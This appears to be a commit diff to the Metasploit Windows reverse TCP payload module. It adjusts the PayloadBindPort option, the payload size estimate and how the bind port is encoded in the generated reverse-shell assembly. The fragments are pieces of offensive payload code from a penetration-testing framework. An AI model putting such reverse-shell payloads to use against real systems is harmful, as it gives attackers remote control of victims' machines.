@@ -27,7 +27,7 @@ module Payload::Windows::ReverseTcp
27
27
#
28
28
def initialize ( *args )
29
29
super
30
- register_advanced_options ( [ OptString . new ( 'PayloadBindPort' , [ false , 'Port to bind reverse tcp socket to on target system.' , '0' ] ) ] , self . class )
30
+ register_advanced_options ( [ OptString . new ( 'PayloadBindPort' , [ false , 'Port to bind reverse tcp socket to on target system.' ] ) ] , self . class )
31
31
end
32
32
33
33
#
@@ -87,6 +87,9 @@ def required_space
87
87
# Start with our cached default generated size
88
88
space = cached_size
89
89
90
+ # Bind port bytes, adds 35 bytes.
91
+ space += 35
92
+
90
93
# EXITFUNK 'thread' is the biggest by far, adds 29 bytes.
91
94
space += 29
92
95
@@ -108,9 +111,6 @@ def required_space
108
111
#
109
112
def asm_reverse_tcp ( opts = { } )
110
113
111
- bind_port = opts [ :bind_port ]
112
-
113
- encoded_bind_port = "0x%.8x" % [ bind_port . to_i , 2 ] . pack ( "vn" ) . unpack ( "N" ) . first
114
114
retry_count = [ opts [ :retry_count ] . to_i , 1 ] . max
115
115
encoded_port = "0x%.8x" % [ opts [ :port ] . to_i , 2 ] . pack ( "vn" ) . unpack ( "N" ) . first
116
116
encoded_host = "0x%.8x" % Rex ::Socket . addr_aton ( opts [ :host ] ||"127.127.127.127" ) . unpack ( "V" ) . first
@@ -158,7 +158,9 @@ def asm_reverse_tcp(opts={})
158
158
xchg edi, eax ; save the socket for later, don't care about the value of eax after this
159
159
^
160
160
# Check if a bind port was specified
161
- if bind_port != 0
161
+ if opts [ :bind_port ]
162
+ bind_port = opts [ :bind_port ]
163
+ encoded_bind_port = "0x%.8x" % [ bind_port . to_i , 2 ] . pack ( "vn" ) . unpack ( "N" ) . first
162
164
asm << %Q^
163
165
xor eax, eax
164
166
push 11
0 commit comments